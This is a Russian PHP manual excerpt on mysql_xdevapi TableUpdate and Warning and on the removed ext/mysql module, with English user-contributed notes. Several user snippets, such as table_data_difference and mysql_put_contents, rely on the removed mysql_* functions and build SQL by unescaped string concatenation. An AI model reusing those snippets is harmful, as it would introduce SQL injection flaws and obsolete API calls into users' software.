  • « TableUpdate::set
  • mysql_xdevapi\Warning »
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • Устанавливает фильтр поиска

TableUpdate::where

(Информация о версии неизвестна, возможно, только в Git)

TableUpdate::where — Устанавливает фильтр поиска

Описание

public mysql_xdevapi\TableUpdate::where(string $where_expr): mysql_xdevapi\TableUpdate

Устанавливает условие поиска для фильтрации.

Список параметров

where_expr

Условие поиска для фильтрации документов или записей.

Возвращаемые значения

Объект TableUpdate.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableUpdate::where()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$res = $table->update()
->set('level', 3)
->where('age > 15 and age < 22')
->limit(4)
->orderby(['age asc','name desc'])
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс Warning

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\Warning {
/* Свойства */
public $message;
public $level;
public $code;
/* Конструктор */
private __construct()
}

Свойства

message

level

code

Содержание

  • Warning::__construct — Конструктор класса Warning

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Warning

  • « mysql_xdevapi\Warning
  • MySQL (Original) »
  • PHP Manual
  • mysql_xdevapi\Warning
  • Конструктор класса Warning

Warning::__construct

(Информация о версии неизвестна, возможно, только в Git)

Warning::__construct — Конструктор класса Warning

Описание

private mysql_xdevapi\Warning::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\Warning::__construct()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Оригинальное API MySQL

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Список изменений
  • Предопределённые константы
  • Примеры
    • Обзорный пример модуля MySQL
  • MySQL — Функции СУБД MySQL
    • mysql_affected_rows — Возвращает число затронутых прошлой операцией рядов
    • mysql_client_encoding — Возвращает кодировку соединения
    • mysql_close — Закрывает соединение с сервером MySQL
    • mysql_connect — Открывает соединение с сервером MySQL
    • mysql_create_db — Создаёт базу данных MySQL
    • mysql_data_seek — Перемещает внутренний указатель в результате запроса
    • mysql_db_name — Возвращает название базы данных из вызова к mysql_list_dbs
    • mysql_db_query — Переключается на указанную базу данных и посылает запрос
    • mysql_drop_db — Уничтожает базу данных MySQL
    • mysql_errno — Возвращает численный код ошибки выполнения последней операции с MySQL
    • mysql_error — Возвращает текст ошибки последней операции с MySQL
    • mysql_escape_string — Экранирует строку для использования в mysql_query
    • mysql_fetch_array — Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба
    • mysql_fetch_assoc — Возвращает ряд результата запроса в качестве ассоциативного массива
    • mysql_fetch_field — Возвращает информацию о колонке из результата запроса в виде объекта
    • mysql_fetch_lengths — Возвращает длину каждого поля в результате
    • mysql_fetch_object — Обрабатывает ряд результата запроса и возвращает объект
    • mysql_fetch_row — Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами
    • mysql_field_flags — Возвращает флаги, связанные с указанным полем результата запроса
    • mysql_field_len — Возвращает длину указанного поля
    • mysql_field_name — Возвращает название указанной колонки результата запроса
    • mysql_field_seek — Устанавливает внутренний указатель результата на переданное смещение поля
    • mysql_field_table — Возвращает название таблицы, которой принадлежит указанное поле
    • mysql_field_type — Возвращает тип указанного поля из результата запроса
    • mysql_free_result — Освобождает память от результата запроса
    • mysql_get_client_info — Возвращает данные о MySQL-клиенте
    • mysql_get_host_info — Возвращает информацию о соединении с MySQL
    • mysql_get_proto_info — Возвращает информацию о протоколе MySQL
    • mysql_get_server_info — Возвращает информацию о сервере MySQL
    • mysql_info — Возвращает информацию о последнем запросе
    • mysql_insert_id — Возвращает идентификатор, сгенерированный при последнем INSERT-запросе
    • mysql_list_dbs — Возвращает список баз данных, доступных на сервере
    • mysql_list_fields — Возвращает список колонок таблицы
    • mysql_list_processes — Возвращает список процессов MySQL
    • mysql_list_tables — Возвращает список таблиц базы данных MySQL
    • mysql_num_fields — Возвращает количество полей результата запроса
    • mysql_num_rows — Возвращает количество рядов результата запроса
    • mysql_pconnect — Устанавливает постоянное соединение с сервером MySQL
    • mysql_ping — Проверяет соединение с сервером и пересоединяется при необходимости
    • mysql_query — Посылает запрос MySQL
    • mysql_real_escape_string — Экранирует специальные символы в строках для использования в выражениях SQL
    • mysql_result — Возвращает данные результата запроса
    • mysql_select_db — Выбирает базу данных MySQL
    • mysql_set_charset — Устанавливает кодировку клиента
    • mysql_stat — Возвращает текущий статус сервера
    • mysql_tablename — Возвращает имя таблицы, содержащей указанное поле
    • mysql_thread_id — Возвращает идентификатор текущего потока
    • mysql_unbuffered_query — Посылает запрос MySQL без авто-обработки результата и его буферизации

User Contributed Notes

There are no user contributed notes for this page.


Введение

Этот модуль устарел с версии PHP 5.5.0, и удалён в версии 7.0.0. Вместо него используйте mysqli или PDO_MySQL. Ознакомьтесь также с обзором MySQL API для более детальной информации по выбору MySQL API.

Эти функции позволяют вам работать с MySQL. За информацией о MySQL обращайтесь к » http://www.mysql.com/.

Документация MySQL находится по адресу » http://dev.mysql.com/doc/.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для использования этих функций PHP должен быть собран с поддержкой MySQL.

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

User Contributed Notes

There are no user contributed notes for this page.


Установка

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

Для компиляции просто используйте опцию конфигурации --with-mysql[=DIR], где необязательный параметр [DIR] указывает на директорию с установленным MySQL.

Несмотря на то, что модуль MySQL совместим с MySQL 4.1.0 и выше, он не поддерживает дополнительную функциональность, предоставляемую этими версиями. Для получения такой возможности воспользуйтесь модулем MySQLi.

Если вы хотите установить модуль mysql совместно с mysqli, то для избежания каких-либо конфликтов необходимо использовать одну и ту же клиентскую библиотеку.

Установка на Linux-системы

Примечание: [DIR] является путём к файлам клиентской библиотеки MySQL (заголовкам и библиотекам), которые можно скачать с » MySQL.

Таблица компиляции ext/mysql по версиям PHP
PHP Версия | По умолчанию | Опции настройки: mysqlnd | Опции настройки: libmysqlclient | Список изменений
4.x.x | libmysqlclient | Недоступно | --without-mysql для отключения | MySQL включён по умолчанию, клиентские библиотеки MySQL входят в поставку PHP
5.0.x, 5.1.x, 5.2.x | libmysqlclient | Недоступно | --with-mysql=[DIR] | MySQL больше не включён по умолчанию, и клиентские библиотеки MySQL больше не входят в поставку PHP
5.3.x | libmysqlclient | --with-mysql=mysqlnd | --with-mysql=[DIR] | Стал доступен mysqlnd
5.4.x | mysqlnd | --with-mysql | --with-mysql=[DIR] | mysqlnd выбирается по умолчанию

Установка на Windows-системы

PHP 5.0.x, 5.1.x, 5.2.x

Поддержка MySQL больше не включена по умолчанию, поэтому для её включения необходимо подключить php_mysql.dll DLL внутри php.ini. Кроме этого, PHP понадобится доступ к клиентской библиотеке MySQL. Файл libmysql.dll поставляется в Windows дистрибутиве PHP, и для корректного общения PHP с MySQL, данный файл должен быть доступен в системном пути Windows PATH. О том как это сделать, смотрите FAQ "Как добавить мою PHP директорию в системный PATH на Windows?". Хотя копирование libmysql.dll в системную папку Windows также сработает (потому что системная папка находится по умолчанию в PATH), это не рекомендуется.

Как и при включении любого другого модуля PHP (в том числе и php_mysql.dll), директива extension_dir должна указывать на директорию, содержащую PHP-модули. Смотрите также Инструкции по ручной установке в Windows . Пример значения extension_dir для PHP 5: c:\php\ext

Замечание:

Если при старте веб-сервера происходит подобная ошибка: "Unable to load dynamic library './php_mysql.dll'", ("Невозможно подгрузить динамическую библиотеку './php_mysql.dll'"), то это случается из-за того, что на вашей системе не может быть найдена php_mysql.dll и/или libmysql.dll.

PHP 5.3.0+

MySQL Native Driver включён по умолчанию. В том числе php_mysql.dll, но без требования и использования libmysql.dll.

Замечания по установке MySQL

Внимание

Сбои в работе PHP могут возникнуть при загрузке этого модуля вместе с модулем recode. За дополнительной информацией обращайтесь к разделу о модуле для recode.

Замечание:

Если вам требуется поддержка кодировок отличных от latin, (установленной по умолчанию), вам придётся установить внешнюю библиотеку libmysqlclient, скомпилированную с их поддержкой.

User Contributed Notes

mail dot umlcat at gee mail dot com 11-Dec-2012 07:28
Could not install mysql, on windows, had several conflicts or bugs.

In order to solve it:

* Used the "libmysql.dll" provided by PHP zip files, not the one that comes with Mysql, the mysql file had to be moved or deleted from its folder. Put it on the "apache/bin" folder, altought some use it in "windows" folder.

* Originally, moved "*mysql*.dll" files from its extension folder, and returned back.

* enabled mysql driver extensions in the "php.ini" file, but also enabled some extensions, that seemed not to be required, but, it did, like "php_openssl.dll" or "php_pdo.dll" on an early version of php.

Added the "PHPIniDir xxx"" to the "httpd.conf" apache config. file, where xxx is the path to the folder where the "php.ini" file is located, and make sure its the same.

Be warned, that this fixes, may help or not, for your installation, since there are many ways to configure the same thing (to solve a problem).
Steve in Weston-Super-Mare 27-Jul-2011 10:55
I had problems when moving from a version of PHP that used the isapi dll to the fast cgi version. The script to register the script maps compained that there was already a script map in place.

I went to the IIS control panel, right clicked on websites and removed the php association in the Home Directory | Configuration screen.

However, the fastcgi script still complained about existing script map. Finally I tracked it down, I had to right click on Default Web Site and clear out the php mappings from there too.

Then it all worked, except that for some strange reason, the php.ini file that gets picked up is the one from my old PHP directory, not the latest upgrade one. But this can be detected by running phpinfo which shows the loaded php.ini file so I knew which one to amend with the fastcgi options.

Bit of a hassle to figure it all out but it does work in the end.
o dot kochetilov at gmail dot com 30-Apr-2011 12:39
Please note that libmySQL.dll in MySQL bin directory should be renamed in order to use right library (that comes with PHP).
buzzr515 at gmx dot de 03-Sep-2010 09:13
i've experienced a similar (if not the same) problem.

to enable the mysql_... and mysqli_... funtionality, i opened the php.ini file to uncomment the following lines:
;extension=php_mysql.dll
;extension=php_mysqli.dll
;extension=php_pdo_mysql.dll

but phpinfo() still stated that no mysql extensions were loaded.
i tried the fixes and suggestions above with no success.
so i invoked the windows shell and typed ("Path" environment variable set to the PHP & MySQL directories):
php.exe -m

this returned the following error: "PHP Startup: Unable to load dynamic library 'C:\php5\php_mysql.dll' - Module not found."

this told me that PHP didn't recognize what i thought was the extensions directory. it searched all other places first (sys-dir, workin'-dir, the MySQL "bin" dir because of the "Path" variable set, and even a curious directory "C:\php5" that doesn't even exist on my mashine) but not the expected "ext" directory.

so the fix was to go to "php.ini" again and uncomment the following line:
;extension_dir="ext"

this fixed it for me.
so if module loading is done improperly, first of all check the "Path" environment variable and the "php.ini" file - especially the "extension_dir" config value - and check if all values are set to their correct values.

hope this helps any1.

----------------------------------------
OS: Win7 Ultimate x86
Apache v2.2.16
PHP v5.3.3
MySQL v5.1.50
heneryville at gmail dot com 30-Apr-2010 01:32
I believe that this is happens especially with Windows 7.  As far I I've been able to tell XP and Vista come with this line enabled, but windows 7 comments it out and notes that the DNS will handle this.
amatsak at gmail dot com 22-Jun-2009 02:46
I have experienced exactly the same problem as flo_stefi at yahoo dot com below. It appears that instead of loading libmysql.dll that came with the PHP package, the PHP engine was loading libmySQL.dll located in MySQL's bin directory, which was causing Apache to crash.

I fixed the problem by renaming MySQL's libmySQL.dll into libmySQL_renamed.dll. Now PHP loads the library that came with its package and everything works fine.
jonnus 12-May-2008 05:42
In windows systems, the same error "unable to load dynamic library php_mysql.dll" will happen, if there's an old version of the file in the "windows\system32" folder.
Either remove it or update it.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Директивы конфигурации MySQL
Имя | По умолчанию | Место изменения | Список изменений
mysql.allow_local_infile | "1" | PHP_INI_SYSTEM |
mysql.allow_persistent | "1" | PHP_INI_SYSTEM |
mysql.max_persistent | "-1" | PHP_INI_SYSTEM |
mysql.max_links | "-1" | PHP_INI_SYSTEM |
mysql.trace_mode | "0" | PHP_INI_ALL |
mysql.default_port | NULL | PHP_INI_ALL |
mysql.default_socket | NULL | PHP_INI_ALL |
mysql.default_host | NULL | PHP_INI_ALL |
mysql.default_user | NULL | PHP_INI_ALL |
mysql.default_password | NULL | PHP_INI_ALL |
mysql.connect_timeout | "60" | PHP_INI_ALL |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

mysql.allow_local_infile int

Разрешает доступ к локальным файлам, с точки зрения PHP, с помощью инструкций LOAD DATA

mysql.allow_persistent bool

Позволять ли постоянные соединения с MySQL.

mysql.max_persistent int

Максимальное количество постоянных соединений c MySQL на один процесс.

mysql.max_links int

Максимальное количество соединений с MySQL на один процесс, включая постоянные соединения.

mysql.trace_mode bool

Режим трассировки. Если включена опция mysql.trace_mode, будут отображаться предупреждения при сканировании таблиц/индексов, непустых результирующих наборов (result sets), а также ошибки SQL. (Добавлено в версии PHP 4.3.0)

mysql.default_port string

TCP-порт, используемый для соединения с базой данных по умолчанию (если не был указан другой). Если эта директива опущена, порт будет взят из переменной среды MYSQL_TCP_PORT, значения mysql-tcp в файле /etc/services или константы MYSQL_PORT, указанной при компиляции, в указанном порядке. Win32 использует только константу MYSQL_PORT.

mysql.default_socket string

Имя сокета по умолчанию, используемого для соединения с локальной базой данных, если не был указан другой.

mysql.default_host string

Адрес сервера по умолчанию, используемый для соединения с сервером базы данных, если не указан другой. Не работает в SQL safe mode.

mysql.default_user string

Имя пользователя по умолчанию, используемое для соединения с сервером базы данных, если не указано другое. Не работает в SQL safe mode.

mysql.default_password string

Пароль по умолчанию, используемый для соединения с сервером базы данных, если не указан другой. Не работает в SQL safe mode.

mysql.connect_timeout int

Время ожидания ответа до разрыва соединения в секундах. Linux также использует это значение при ожидании первого ответа от сервера.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Есть два типа ресурсов, используемых в модуле MySQL. Первый является идентификатором соединения для подключения к базе данных, а второй ресурс содержит результат выполнения запроса.

User Contributed Notes

There are no user contributed notes for this page.


Список изменений

Следующие изменения были произведены с классами/функциями/методами данного модуля.

Общий список изменений для модуля ext/mysql

Этот список изменений ссылается на модуль ext/mysql.

Глобальные изменения в ext/mysql

Следующий список представляет собой подборку изменений модуля ext/mysql.

Версия | Описание
7.0.0 | Этот модуль удалён из PHP. Подробности тут Выбор API.

Изменения в существующих функциях

Нижеследующий список является компиляцией всех изменений в функциях ext/mysql.

Version Function Description

User Contributed Notes

Gianluca 16-Mar-2016 10:01
In these wrappers all mysql and ereg functions are rewritten using mysqli and pcre
https://sourceforge.net/projects/mysqlwithmysqli/
https://sourceforge.net/projects/ereg-using-pcre/


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Можно указать дополнительные клиентские флаги для функций mysql_connect() и mysql_pconnect() functions. Предопределены следующие константы:

Клиентские константы MySQL
Константа | Описание
MYSQL_CLIENT_COMPRESS | Использовать протокол сжатия
MYSQL_CLIENT_IGNORE_SPACE | Разрешает использовать пробелы после имён функций
MYSQL_CLIENT_INTERACTIVE | Позволяет interactive_timeout секунд (вместо wait_timeout) бездействия до закрытия соединения.
MYSQL_CLIENT_SSL | Использовать SSL-шифрование. Этот флаг доступен только начиная с версии 4.x клиентской библиотеки MySQL. Версия 3.23.x поставляется как в PHP 4, так и с бинарным дистрибутивом Windows в PHP 5.

Функция mysql_fetch_array() использует константы для определения типа возвращаемого массива. Предопределены следующие константы:

Константы выборки MySQL
Константа | Описание
MYSQL_ASSOC | Результат возвращается в ассоциативном массиве с именами колонок в качестве индексов.
MYSQL_BOTH | Результат возвращается в массиве, содержащем как численные индексы, так и имена колонок в качестве индексов.
MYSQL_NUM | Результат возвращается в массиве, содержащем численные индексы. Индексы начинаются с 0 (0 содержит первую колонку).

User Contributed Notes

frak at gingerhq dot net 30-Jun-2011 11:06
If you're using stored procedures and mysql_error() returns "PROCEDURE storedProcedureName can't return a result set in the given context", you need to pass an additional flag (CLIENT_MULTI_RESULTS) to mysql_connect() as such:
mysql_connect($hostname, $username, $password, true, 131072);

Some other sources say that you should use 65536. 65536 is actually the flag to allow multiple statements in a single mysql_query(), and is a security issue. The reason it allows you to receive results from stored procedures is because it implies 131072. To be safe, use 131072 over 65536.
pcdinh at phpvietnam dot net 13-Feb-2010 12:54
Other client flags extracted from MySQL client source

#define CLIENT_LONG_PASSWORD 1 /* new more secure passwords */
#define CLIENT_FOUND_ROWS 2 /* Found instead of affected rows */
#define CLIENT_LONG_FLAG 4 /* Get all column flags */
#define CLIENT_CONNECT_WITH_DB 8 /* One can specify db on connect */
#define CLIENT_NO_SCHEMA 16 /* Don't allow database.table.column */
#define CLIENT_COMPRESS 32 /* Can use compression protocol */
#define CLIENT_ODBC 64 /* Odbc client */
#define CLIENT_LOCAL_FILES 128 /* Can use LOAD DATA LOCAL */
#define CLIENT_IGNORE_SPACE 256 /* Ignore spaces before '(' */
#define CLIENT_PROTOCOL_41 512 /* New 4.1 protocol */
#define CLIENT_INTERACTIVE 1024 /* This is an interactive client */
#define CLIENT_SSL 2048 /* Switch to SSL after handshake */
#define CLIENT_IGNORE_SIGPIPE 4096 /* IGNORE sigpipes */
#define CLIENT_TRANSACTIONS 8192 /* Client knows about transactions */
#define CLIENT_RESERVED 16384 /* Old flag for 4.1 protocol */
#define CLIENT_SECURE_CONNECTION 32768 /* New 4.1 authentication */
#define CLIENT_MULTI_STATEMENTS 65536 /* Enable/disable multi-stmt support */
#define CLIENT_MULTI_RESULTS 131072 /* Enable/disable multi-results */
#define CLIENT_REMEMBER_OPTIONS (((ulong) 1) << 31)
Contact at LinuxIntro dot com 27-Oct-2008 09:33
When you connect and expect to use a stored procedure,you must pass a special flag to MySQL via the connect command, otherwise you will not get the results returned, and it will result in this error:
PROCEDURE AlexGrim.GetStats_ForumCategories can't return a result set in the given context

To fix this, change you connection string, adding ",false,65536" as the last 2 fields:
$this->con = mysql_connect($this->h,$this->u,$this->p,false,65536);


Примеры

Содержание

  • Обзорный пример модуля MySQL

User Contributed Notes

There are no user contributed notes for this page.


Обзорный пример модуля MySQL

Этот простой пример показывает, как соединиться с базой данных, выполнить запрос, распечатать результат и отсоединиться.

Пример #1 Пример работы с MySQL

<?php
// Соединяемся, выбираем базу данных
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
or die('Не удалось соединиться: ' . mysql_error());
echo 'Соединение успешно установлено';
mysql_select_db('my_database') or die('Не удалось выбрать базу данных');

// Выполняем SQL-запрос
$query = 'SELECT * FROM my_table';
$result = mysql_query($query) or die('Запрос не удался: ' . mysql_error());

// Выводим результаты в html
echo "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
echo "\t<tr>\n";
foreach ($line as $col_value) {
echo "\t\t<td>$col_value</td>\n";
}
echo "\t</tr>\n";
}
echo "</table>\n";

// Освобождаем память от результата
mysql_free_result($result);

// Закрываем соединение
mysql_close($link);
?>

User Contributed Notes

zjrwjzzz at 163 dot com 13-Feb-2015 05:03
Be aware that if you are trying to foreach the associative array returned by mysql_fetch_array() with MYSQL_ASSOC or mysql_fetch_assoc(), you have to ensure the return value that is used in foreach structure is exactly a array rather than a FALSE value.

Or you might encounter the warning below:
    Warning: Invalid argument supplied for foreach()

Here is an example (assume that $result have already stored the return value from mysql_query()):

If you have some block of code like:

<?php

// Printing results in HTML
echo "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

?>

If this is the case, you should use the code below instead:

<?php

// Check ahead, before using it
if (mysql_num_rows($result) > 0) {
    // Printing results in HTML
    echo "<table>\n";
    while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
        echo "\t<tr>\n";
        foreach ($line as $col_value) {
            echo "\t\t<td>$col_value</td>\n";
        }
        echo "\t</tr>\n";
    }
    echo "</table>\n";
}

?>


Функции СУБД MySQL

Примечания

Замечание:

Большинство функций MySQL принимают link_identifier как последний, опциональный параметр. Если он не указан, то используется последнее открытое соединение. Если соединений нет, то модуль пытается открыть соединение используя параметры, указанные в php.ini. В случае неудачи, функции возвращают false. false.

Содержание

  • mysql_affected_rows — Возвращает число затронутых прошлой операцией рядов
  • mysql_client_encoding — Возвращает кодировку соединения
  • mysql_close — Закрывает соединение с сервером MySQL
  • mysql_connect — Открывает соединение с сервером MySQL
  • mysql_create_db — Создаёт базу данных MySQL
  • mysql_data_seek — Перемещает внутренний указатель в результате запроса
  • mysql_db_name — Возвращает название базы данных из вызова к mysql_list_dbs
  • mysql_db_query — Переключается на указанную базу данных и посылает запрос
  • mysql_drop_db — Уничтожает базу данных MySQL
  • mysql_errno — Возвращает численный код ошибки выполнения последней операции с MySQL
  • mysql_error — Возвращает текст ошибки последней операции с MySQL
  • mysql_escape_string — Экранирует строку для использования в mysql_query
  • mysql_fetch_array — Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба
  • mysql_fetch_assoc — Возвращает ряд результата запроса в качестве ассоциативного массива
  • mysql_fetch_field — Возвращает информацию о колонке из результата запроса в виде объекта
  • mysql_fetch_lengths — Возвращает длину каждого поля в результате
  • mysql_fetch_object — Обрабатывает ряд результата запроса и возвращает объект
  • mysql_fetch_row — Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами
  • mysql_field_flags — Возвращает флаги, связанные с указанным полем результата запроса
  • mysql_field_len — Возвращает длину указанного поля
  • mysql_field_name — Возвращает название указанной колонки результата запроса
  • mysql_field_seek — Устанавливает внутренний указатель результата на переданное смещение поля
  • mysql_field_table — Возвращает название таблицы, которой принадлежит указанное поле
  • mysql_field_type — Возвращает тип указанного поля из результата запроса
  • mysql_free_result — Освобождает память от результата запроса
  • mysql_get_client_info — Возвращает данные о MySQL-клиенте
  • mysql_get_host_info — Возвращает информацию о соединении с MySQL
  • mysql_get_proto_info — Возвращает информацию о протоколе MySQL
  • mysql_get_server_info — Возвращает информацию о сервере MySQL
  • mysql_info — Возвращает информацию о последнем запросе
  • mysql_insert_id — Возвращает идентификатор, сгенерированный при последнем INSERT-запросе
  • mysql_list_dbs — Возвращает список баз данных, доступных на сервере
  • mysql_list_fields — Возвращает список колонок таблицы
  • mysql_list_processes — Возвращает список процессов MySQL
  • mysql_list_tables — Возвращает список таблиц базы данных MySQL
  • mysql_num_fields — Возвращает количество полей результата запроса
  • mysql_num_rows — Возвращает количество рядов результата запроса
  • mysql_pconnect — Устанавливает постоянное соединение с сервером MySQL
  • mysql_ping — Проверяет соединение с сервером и пересоединяется при необходимости
  • mysql_query — Посылает запрос MySQL
  • mysql_real_escape_string — Экранирует специальные символы в строках для использования в выражениях SQL
  • mysql_result — Возвращает данные результата запроса
  • mysql_select_db — Выбирает базу данных MySQL
  • mysql_set_charset — Устанавливает кодировку клиента
  • mysql_stat — Возвращает текущий статус сервера
  • mysql_tablename — Возвращает имя таблицы, содержащей указанное поле
  • mysql_thread_id — Возвращает идентификатор текущего потока
  • mysql_unbuffered_query — Посылает запрос MySQL без авто-обработки результата и его буферизации

User Contributed Notes

Vladimir Kosmala 27-Oct-2010 07:57
Here a mysql helper containing the main functions of the mysql extension. It's easy to understand for a beginner and quite useful because queries are secure. It understands what you want, just write your sql query. I called it mysql_magic.

<?php
// Examples
$nb_affected = mysql_magic('delete from users');
$nb = mysql_magic('select count(*) from users');
$one_row = mysql_magic('select * from users limit 1');
$all_rows = mysql_magic('select * from users where name = ?', 'John');
$id = mysql_magic('insert into users(name,rank) values(?,?)', 'Vincent', 3);
?>

<?php
// Usage: mysql_magic($query [, $arg...]);
function mysql_magic()
{
    global $dblink, $sqlhost, $sqluser, $sqlpass, $sqlbase;
    $narg = func_num_args();
    $args = func_get_args();

    if (!$dblink)
    {
        $dblink = mysql_connect( $sqlhost, $sqluser, $sqlpass );
        mysql_select_db( $sqlbase, $dblink );
    }

    $req_sql = array_shift($args);
    $req_args = $args;

    $req_query = mysql_bind($req_sql, $req_args);
    $req_result = mysql_query($req_query);

    if (!$req_result)
    {
        trigger_error(mysql_error());
        return false;
    }

    if (startsWith($req_sql, 'delete') || startsWith($req_sql, 'update'))
    {
        return mysql_affected_rows(); // -1 || N
    }
    else if (startsWith($req_sql, 'insert'))
    {
        return mysql_insert_id(); // ID || 0 || FALSE
    }
    else if (endsWith($req_sql, 'limit 1'))
    {
        return mysql_fetch_assoc($req_result); // [] || FALSE
    }
    else if (startsWith($req_sql, 'select count(*)'))
    {
        $line = mysql_fetch_row($req_result);
        return $line[0]; // N
    }
    else
    {
        return mysql_fetch_all($req_result); // [][]
    }
}

function mysql_bind($sql, $values=array())
{
    foreach ($values as &$value) $value = mysql_real_escape_string($value);
    $sql = vsprintf( str_replace('?', "'%s'", $sql), $values);
    return $sql;
}

function mysql_fetch_all($result)
{
    $resultArray = array();
    while(($resultArray[] = mysql_fetch_assoc($result)) || array_pop($resultArray));
    return $resultArray;
}

function startsWith($haystack,$needle,$case=false) {
    if($case){return (strcmp(substr($haystack, 0, strlen($needle)),$needle)===0);}
    return (strcasecmp(substr($haystack, 0, strlen($needle)),$needle)===0);
}

function endsWith($haystack,$needle,$case=false) {
    if($case){return (strcmp(substr($haystack, strlen($haystack) - strlen($needle)),$needle)===0);}
    return (strcasecmp(substr($haystack, strlen($haystack) - strlen($needle)),$needle)===0);
}
?>

Don't forget to set $sqlhost, $sqluser, $sqlpass and $sqlbase.

With help of :
mysql_bind : http://php.net/manual/en/function.mysql-real-escape-string.php#96391
mysql_fetch_all : http://php.net/manual/en/function.mysql-fetch-assoc.php#90030

trigger_error may be enhanced with this tip : http://php.net/manual/en/function.trigger-error.php#98910
joachimb at gmail dot com 16-May-2008 02:28
Lazy Man's Logging:

<?php
  /// Creates a table called $table as (id, when, message) if none such exists, and inserts a row with $message in it.
  /// If no connection details are given, it uses the current database connection. Same goes for $database and $when.
  ///
  /// @returns TRUE on success or FALSE on failure.
  ///
  /// @example mysql_put_contents("orders", "I CAN HAZ CHEEZBURGER?", "mysite", NULL, "127.0.0.1:3306", "mysite_user", "secret") or die(mysql_error());
  /// @example mysql_put_contents("guestbook", "Longcat says: I'm loooooooooooong") or die("Errorz!");
  function mysql_put_contents($table, $message, $database = NULL, $when = NULL, $host = NULL, $user = NULL, $pass = NULL) {
    if($host)
        mysql_connect($host, $user, $pass);
      if($database)
        mysql_select_db($database);

      $qry = "CREATE TABLE IF NOT EXISTS `$table` (
             `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
             `when` TIMESTAMP DEFAULT NOW(),
             `message` TEXT NOT NULL
           );";
    $result = mysql_query($qry);
    if($result === FALSE)
      return FALSE;

    $qry = "INSERT INTO `$table` VALUES(NULL, ".($when ? $when : 'NULL').", '".mysql_real_escape_string($message)."');";

    $result = mysql_query($qry);
    if($result === FALSE)
      return FALSE;

    return TRUE;
  }

?>
dhirendrak at yahoo dot com 04-Feb-2008 11:03
<?php
# Created by dhirendra can be reached at dhirendrak at yahoo dot com
# This script is created to check the data difference between two tables
# when the structure of both tables are same.
# Limitation :
# 1) Structure of both tables should be same.
# 2) Name of both table should be different but if same than obviously
# second table should be if different database.
# 3) If use two database than both database permission should be same
# as i am using aliases to get the information.
#
# USES::
# 1) This may be useful when you did some changes in your existing
# script and you expect the certain output. So with the help of this
#    function you may compare the impact due to your changes in script.
#
#

$host="";        # host name or ip address
$user="";            # database user name
$pass="";    # database password
$database="";        # dateabase name with which you want to connect

# get connection with mysql
$dblink = @mysql_connect($host,$user,$pass);

# select and open database
mysql_select_db($database,$dblink);

$db1="< your db1 >"; // first database
// second database if database are same for both tables than use the same as db1
$db2="< your db2 >";
$table1="< your table1 >"; // first table
// second table if database is same for both tables than table name
# must be different but fields name are same and order of the fields are same.

$table2="< your table2 >";

// function starts here
function table_data_difference($first,$second)
{
    global $dblink;
    $sql1 = "SHOW FIELDS FROM $first";
    $result = mysql_query($sql1,$dblink) or die("Having error in execution 1 ==".mysql_error());

    while($row = mysql_fetch_object($result))
    {
        $from_fields[]=$row->Field;
    }

    $sql="select * from $first";
    $res=mysql_query($sql,$dblink) or die("Having error in execution 2==".mysql_error());
    $j=1;
    while($row=mysql_fetch_array($res))
    {

        $num=count($from_fields);

        $sql_next="select $second.* from $second where";

        for($i=0;$i < $num;$i++)
        {
            $sql_next=$sql_next." ".$second.".".$from_fields[$i]."='".$row[$from_fields[$i]]."' and ";
        }

        $sql_next=substr($sql_next,0,strlen($sql_next)-5);

        $res_next=mysql_query($sql_next,$dblink) or die("Having error in execution 3==".mysql_error());
        $num1=mysql_num_rows($res_next);
        if($num1==0)
        {
            for($i=0;$i < count($from_fields);$i++)
            {
                $val=$val."<br>".$from_fields[$i]."=".$row[$from_fields[$i]];
            }
            // Display the record which are not matched.
            echo "<br>\n".$j.".".$val;
            echo "<br>-----------------------------------------------------";
            $j++;
        }

    }

}

$first=$db1.'.'.$table1;
$second=$db2.'.'.$table2;

table_data_difference($first,$second);

?>
matiyahoo-publico at yhoo dot com dot ar 17-Nov-2007 08:26
David:

In this line:

$query = "SELECT username FROM users WHERE username REGEXP '$username[0-9*]'";

PHP may read $username[, *including* the open square bracket, and may think you are trying to get into an array.

You should use this instead:

$query = "SELECT username FROM users WHERE username REGEXP '${username}[0-9*]'";

Or maybe this:

$query = "SELECT username FROM users WHERE username REGEXP '$username" . "[0-9*]'";
david at kiwi dot com 09-Nov-2007 08:13
